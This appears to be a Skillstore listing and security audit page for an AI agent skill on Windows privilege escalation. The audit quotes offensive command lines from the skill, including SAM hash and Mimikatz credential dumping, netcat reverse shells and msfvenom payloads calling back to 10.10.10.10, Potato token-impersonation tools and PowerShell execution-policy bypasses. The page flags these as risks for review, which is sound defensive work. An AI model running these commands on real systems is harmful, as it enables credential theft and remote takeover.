Fähigkeiten windows-privilege-escalation
📦
windows-privilege-escalation
v1.1 Inhaltsrevision r1 Kritisch ⚙️ Externe Befehle🌐 Netzwerkzugriff📁 Dateisystemzugriff
Windows の権限昇格経路を評価する
Windows の権限昇格レビューには、構造化された進め方と慎重なスコープ管理が必要です。このスキルは、承認済み評価の手順、証拠収集、修復計画を整理します。
Unterstützt: Claude Codex Code(CC)
Diesen Skill nicht automatisch installieren.
Die maßgebliche Richtlinie verlangt vor jeder Installationsaktion eine Prüfung durch einen Bediener.
Mit meinem Agent installieren
Kopieren Sie diese Anfrage in Ihren Agent. Sie enthält die maßgebliche Skill-Seite und das Manifest.
Agent-Anfrage
Review the Skillstore skill "windows-privilege-escalation" from https://skillstore.io/skills/sickn33-windows-privilege-escalation.md and its manifest at https://skillstore.io/api/skills/sickn33-windows-privilege-escalation/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ihr Agent sollte weiterhin seinen Plan anzeigen und alle von der Sicherheitsrichtlinie verlangten Bestätigungen anfordern.
Agent-lesbare Ressourcen
Verwenden Sie diese Links, wenn ein KI-Agent, Crawler oder Skript sauberen Kontext benötigt, statt die vollständige Seite zu lesen.
Testen
„windows-privilege-escalation“ wird verwendet. 承認済みの Windows 権限昇格レビュー用のチェックリストが必要です。
Erwartetes Ergebnis:
- スコープと承認の概要
- ホストとユーザーコンテキストのインベントリ
- 認証情報露出のレビュー項目
- サービスとインストーラーの設定不備チェック
- 証拠取得と修復の項目
„windows-privilege-escalation“ wird verwendet. これらのラボ観測事項を修復レポート用に要約してください。
Erwartetes Ergebnis:
レポートでは、認証情報の露出、サービス制御リスク、トークン権限リスク、パッチ適用の不足ごとに調査結果を分類します。各項目には影響と修復策が含まれます。
„windows-privilege-escalation“ wird verwendet. 若手セキュリティスタッフ向けのトレーニング概要を作成してください。
Erwartetes Ergebnis:
- 承認とラボ安全性のブリーフィング
- Windows 権限モデルの概要
- 設定不備検出演習
- 防御的修復に関する議論
- クリーンアップと学んだ教訓
Sicherheitsaudit
Kritischv6 • 9.7.2026 Versionsbericht öffnen
AI review found that many Markdown backtick detections are false positives, but the skill content itself is high risk. Confirmed findings and semantic review show credential harvesting, payload generation, reverse shells, token impersonation, and security-control evasion guidance for Windows privilege escalation.
1
Gescannte Dateien
497
Analysierte Zeilen
22
Prüfelemente
0
Falschmeldungen ignoriert
Bestätigte Sicherheitsbedenken (25)
Kritisch
Windows Credential Manager
cmdkey /list
The skill instructs listing saved Windows credentials with cmdkey in a privilege-escalation context. Stored credential discovery can enable unauthorized account use.
Kritisch
Windows Credential Manager
| Stored credentials | `cmdkey /list` |
The skill instructs listing saved Windows credentials with cmdkey in a privilege-escalation context. Stored credential discovery can enable unauthorized account use.
Kritisch
Windows SAM/registry hive access
%SYSTEMROOT%\System32\config\SAM
The snippet points to SAM or SYSTEM registry hive material used for password hash extraction. In this credential-harvesting section, it is a critical sensitive-data risk.
Kritisch
Windows SAM/registry hive access
%SYSTEMROOT%\System32\config\SYSTEM
The snippet points to SAM or SYSTEM registry hive material used for password hash extraction. In this credential-harvesting section, it is a critical sensitive-data risk.
Kritisch
Windows SAM/registry hive access
icacls C:\Windows\System32\config\SAM
The snippet points to SAM or SYSTEM registry hive material used for password hash extraction. In this credential-harvesting section, it is a critical sensitive-data risk.
Kritisch
Windows SAM/registry hive access
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\conf
The Mimikatz lsadump example targets SAM and SYSTEM hives through a shadow copy. This is direct credential dumping guidance.
Kritisch
Windows registry access
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
The registry query targets a VNC password value under HKLM. This is credential harvesting from the Windows registry.
Kritisch
Offensive Privilege Escalation Instructions
The skill explicitly teaches exploiting Windows privilege escalation paths and obtaining Administrator or SYSTEM-level access.
The purpose and examples describe exploitation, credential dumps, elevated shells, and token-impersonation tools. This is direct offensive privilege-escalation intent.
Alle 25 bestätigten Funde anzeigen
Kritisch
Credential Harvesting and Dumping Guidance
The skill provides steps for locating password material, dumping SAM data, checking saved credentials, and using discovered credentials.
The cited sections include SAM and SYSTEM hive access, password searches, WiFi password extraction, PowerShell history review, cmdkey use, and runas examples.
Kritisch
Reverse Shell and Malicious Payload Workflows
The skill shows payload creation and service or token techniques that connect back to an operator and produce elevated command shells.
The examples include reverse-shell payload generation, netcat command shells, service binary path abuse, and Potato-family token impersonation.
Hoch
System reconnaissance
mimikatz> token::whoami /full
The reconnaissance command is embedded in credential or token-impersonation exploitation tooling. It supports validating elevated access during post-exploitation.
Hoch
System reconnaissance
GodPotato.exe -cmd "cmd /c whoami"
The reconnaissance command is embedded in credential or token-impersonation exploitation tooling. It supports validating elevated access during post-exploitation.
Hoch
System reconnaissance
runas /savecred /user:Administrator "cmd.exe /k whoami"
The reconnaissance command is embedded in credential or token-impersonation exploitation tooling. It supports validating elevated access during post-exploitation.
Hoch
Security Control Evasion Guidance
The troubleshooting section recommends obfuscated exploits, living-off-the-land techniques, and PowerShell bypass options when blocked.
The cited troubleshooting table directly discusses avoiding AV detection and bypassing PowerShell execution controls. This is evasion guidance, not ordinary remediation.
Niedrig
System reconnaissance
whoami
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
whoami /priv
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
whoami /groups
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
whoami /all
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
whoami /priv
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
wsl whoami
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
wsl whoami
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
| Token privileges | `whoami /priv` |
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
whoami /priv
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
System reconnaissance
| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version
The command collects local user, privilege, or environment context for Windows privilege escalation. This reconnaissance is low risk alone but meaningful in the offensive workflow.
Niedrig
Network reconnaissance
netstat -ano
The netstat command enumerates active network connections on the target. In a post-exploitation workflow, this supports situational awareness and lateral-movement planning.
Elemente der Fähigkeitsprüfung (22)
Dies sind echte lokale Fähigkeiten, die für diese Fähigkeit erwartet werden können; daher müssen sie überprüft werden, werden jedoch nicht als bestätigtes bösartiges Verhalten gezählt.
Kritisch
PowerShell invocation
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
The line directs reading PowerShell command history, which can expose passwords and operational secrets during post-exploitation. In this credential-harvesting section, it is a real sensitive-data access risk.
Kritisch
Windows cmd.exe
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
The command launches cmd.exe through reverse-shell or token-impersonation tooling. This is actionable guidance for obtaining elevated command execution.
Kritisch
Windows cmd.exe
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cm
The command launches cmd.exe through reverse-shell or token-impersonation tooling. This is actionable guidance for obtaining elevated command execution.
Kritisch
Windows cmd.exe
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
The command launches cmd.exe through reverse-shell or token-impersonation tooling. This is actionable guidance for obtaining elevated command execution.
Kritisch
Windows cmd.exe
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
The command launches cmd.exe through reverse-shell or token-impersonation tooling. This is actionable guidance for obtaining elevated command execution.
Kritisch
Windows cmd.exe
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 444
The command launches cmd.exe through reverse-shell or token-impersonation tooling. This is actionable guidance for obtaining elevated command execution.
Hoch
Python os.system
wsl python -c 'import os; os.system("/bin/bash")'
The snippet invokes os.system from WSL Python to spawn a shell. It is direct shell execution in a privilege-escalation workflow.
Hoch
Ruby/PHP system() call
wsl python -c 'import os; os.system("/bin/bash")'
Although the label is broad, the matched snippet contains Python os.system to spawn a shell. The behavior is real external command execution.
Hoch
PowerShell invocation
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
The command runs a PowerShell script with ExecutionPolicy bypass to identify exploitable Windows patches. This is actionable post-exploitation tooling guidance.
Hoch
PowerShell invocation
| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64
The troubleshooting advice recommends PowerShell execution-policy or encoded-command bypass when blocked. That is explicit security-control evasion guidance.
Hoch
Windows cmd.exe
GodPotato.exe -cmd "cmd /c whoami"
The command uses GodPotato to run cmd on a Windows target. That is privilege-escalation tooling, even though the sample action is whoami.
Hoch
Windows cmd.exe
runas /savecred /user:Administrator "cmd.exe /k whoami"
The command starts an Administrator shell using saved or supplied credentials. In this context it enables post-exploitation privilege use.
Hoch
Windows cmd.exe
runas /user:Administrator cmd.exe
The command starts an Administrator shell using saved or supplied credentials. In this context it enables post-exploitation privilege use.
Hoch
Unix shell invocation
wsl python -c 'import os; os.system("/bin/bash")'
The WSL command spawns a Unix shell through Python os.system. This supports interactive shell access during privilege escalation.
Hoch
Hardcoded IP address
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
The hardcoded address is used as a callback or target in reverse-shell and payload examples. This is actionable network payload guidance.
Hoch
Hardcoded IP address
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
The hardcoded address is used as a callback or target in reverse-shell and payload examples. This is actionable network payload guidance.
Hoch
Hardcoded IP address
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cm
The hardcoded address is used as a callback or target in reverse-shell and payload examples. This is actionable network payload guidance.
Hoch
Hardcoded IP address
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
The hardcoded address is used as a callback or target in reverse-shell and payload examples. This is actionable network payload guidance.
Hoch
Hardcoded IP address
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
The hardcoded address points to a remote share hosting an executable named evil.exe. This supports remote payload execution with saved credentials.
Hoch
Hardcoded IP address
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
The hardcoded address is used as a callback or target in reverse-shell and payload examples. This is actionable network payload guidance.
Hoch
Hardcoded IP address
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
The hardcoded address is used as a callback or target in reverse-shell and payload examples. This is actionable network payload guidance.
Hoch
Hardcoded IP address
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 444
The hardcoded address is used as a callback or target in reverse-shell and payload examples. This is actionable network payload guidance.
Risikofaktoren
⚙️ Externe Befehle (50)
SKILL.md:341 SKILL.md:36-51 SKILL.md:51-54 SKILL.md:54-76 SKILL.md:76-79 SKILL.md:79-99 SKILL.md:99-102 SKILL.md:102-105 SKILL.md:105-110 SKILL.md:110-127 SKILL.md:127-130 SKILL.md:130-139 SKILL.md:139-142 SKILL.md:142-164 SKILL.md:164-167 SKILL.md:167-180 SKILL.md:180-183 SKILL.md:183-192 SKILL.md:192-195 SKILL.md:195-200 SKILL.md:200-205 SKILL.md:205-217 SKILL.md:217-220 SKILL.md:220-228 SKILL.md:228-231 SKILL.md:231-243 SKILL.md:243-248 SKILL.md:248-262 SKILL.md:262-265 SKILL.md:265-277 SKILL.md:277-282 SKILL.md:282-292 SKILL.md:292-295 SKILL.md:295-306 SKILL.md:306-311 SKILL.md:311-318 SKILL.md:318-321 SKILL.md:321-328 SKILL.md:328-331 SKILL.md:331-342 SKILL.md:342-350 SKILL.md:350-351 SKILL.md:351-352 SKILL.md:352-353 SKILL.md:353-354 SKILL.md:354-355 SKILL.md:355-359 SKILL.md:359-366 SKILL.md:366-372 SKILL.md:372-373
🌐 Netzwerkzugriff (8)
📁 Dateisystemzugriff (5)
Erkannte Muster
Windows Credential Manager×2Windows SAM/registry hive access×4Windows registry accessSystem reconnaissance×13Network reconnaissance
Geprüft von: codex Audit-Verlauf anzeigen →
Diesen Bericht teilen & zitieren
Teile den versionierten Bewertungsbericht, das neutrale Badge, die Einbettungskarte und Zitate. Skillstore berichtet Nachweise, ohne zu entscheiden, ob dieser Skill sicher ist.
Berichtslink kopieren
https://skillstore.io/skills/sickn33-windows-privilege-escalation/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown-Badge
[](https://skillstore.io/skills/sickn33-windows-privilege-escalation?utm_source=security_passport_badge)HTML-Badge
<a href="https://skillstore.io/skills/sickn33-windows-privilege-escalation?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-windows-privilege-escalation/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Einbettungskarte
<iframe src="https://skillstore.io/embed/skills/sickn33-windows-privilege-escalation.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Wissenschaftliche Zitate (APA · BibTeX · CFF)
APA-Zitat
sickn33. (2026). windows-privilege-escalation security audit report (audit version 6) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-windows-privilege-escalation/audits/6BibTeX-Zitat
@techreport{sickn33-sickn33-windows-privilege-escalation-2026,
author = {sickn33},
title = {windows-privilege-escalation security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-windows-privilege-escalation/audits/6},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "windows-privilege-escalation security audit report (audit version 6)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-windows-privilege-escalation/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-windows-privilege-escalation:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore-Score
Warum dieser Score Evidenzvertrauen: Mittel 55
Architektur
85
Wartbarkeit
87
Inhalt
70
Gemeinschaft
83
Spezifikationskonformität
Was Sie erstellen können
承認済み評価のスコープを定義する
承認された Windows テストスコープを、構造化された権限昇格レビュー計画に変換します。
修復作業に優先順位を付ける
観測された Windows の設定不備を、影響説明と具体的な修正に変換します。
トレーニング演習を作成する
実際の認証情報を収集せずに、Windows の権限境界に関する管理されたラボ教材を作成します。
Diese Prompts ausprobieren
安全なチェックリストを作成する
承認済みの Windows テストスコープを確認し、証拠項目と修復メモを含む安全な権限昇格評価チェックリストに変換してください。
観測事項をトリアージする
承認済みラボで観測されたこれらの Windows 設定不備に基づき、可能性の高い権限昇格経路に優先順位を付け、安全な検証手順を一覧化してください。
クライアント向け指摘事項を作成する
これらの権限昇格の調査結果を、影響、証拠の要約、リスク、修復策を含むクライアントレポートに変換するのを手伝ってください。
管理されたラボを設計する
実際の認証情報の収集を避け、クリーンアップ手順を含む、Windows 権限昇格の管理されたトレーニングラボ演習を設計してください。
Bewährte Praktiken
- このスキルは、書面による承認と定義済みのテストスコープがある場合にのみ使用してください。
- ライブ環境での悪用よりも、ラボでの検証と防御的な証拠収集を優先してください。
- 確認されたすべての経路を、修復ガイダンス、責任者、再テスト基準に変換してください。
Vermeiden
- 所有していない、またはテスト承認を得ていないシステムに対して例を使用しないでください。
- 明示的なエンゲージメント計画の外で、実際のユーザー認証情報を収集、解析、再利用しないでください。
- 承認済みの安全対策なしに、本番ホスト上でペイロードやバイパス技術を実行しないでください。
Häufig gestellte Fragen
このスキルは一般ユーザーにとって安全ですか？
いいえ。攻撃的な Windows 権限昇格ガイダンスを含んでいるため、承認済みのセキュリティ作業に限定する必要があります。
防御的な修復に役立ちますか？
はい。リスクのある Windows 設定不備を実践的な修復手順に対応付けるのに役立ちます。
ユーザーが承認を得ていることを検証しますか？
いいえ。ユーザーは、この資料を使用する前に、承認、スコープ、法的要件を確認する必要があります。
認証情報アクセスのトピックは含まれていますか？
はい。認証情報の露出元、ダンプの概念、保存済み認証情報、パスワード検出を参照します。
例がシステムを妨害する可能性はありますか？
はい。サービス変更、エクスプロイトツール、ペイロード例は、アラートや不安定性を引き起こす可能性があります。
最も安全な使い方は何ですか？
承認済みラボ評価の計画、調査結果の文書化、修復推奨事項の作成に使用してください。
Entwicklerdetails
Autor
sickn33Lizenz
MIT
Autorenversion
v1.1
Skillstore-Revision
r1
Versionshinweis
Die vom Autor angegebene Version ist kein gültiges SemVer.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/windows-privilege-escalationRef.
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Aktualität der Wartung
18.7.2026
Nutzung
8 Downloads · 169 Aufrufe
Dateistruktur
📄 SKILL.md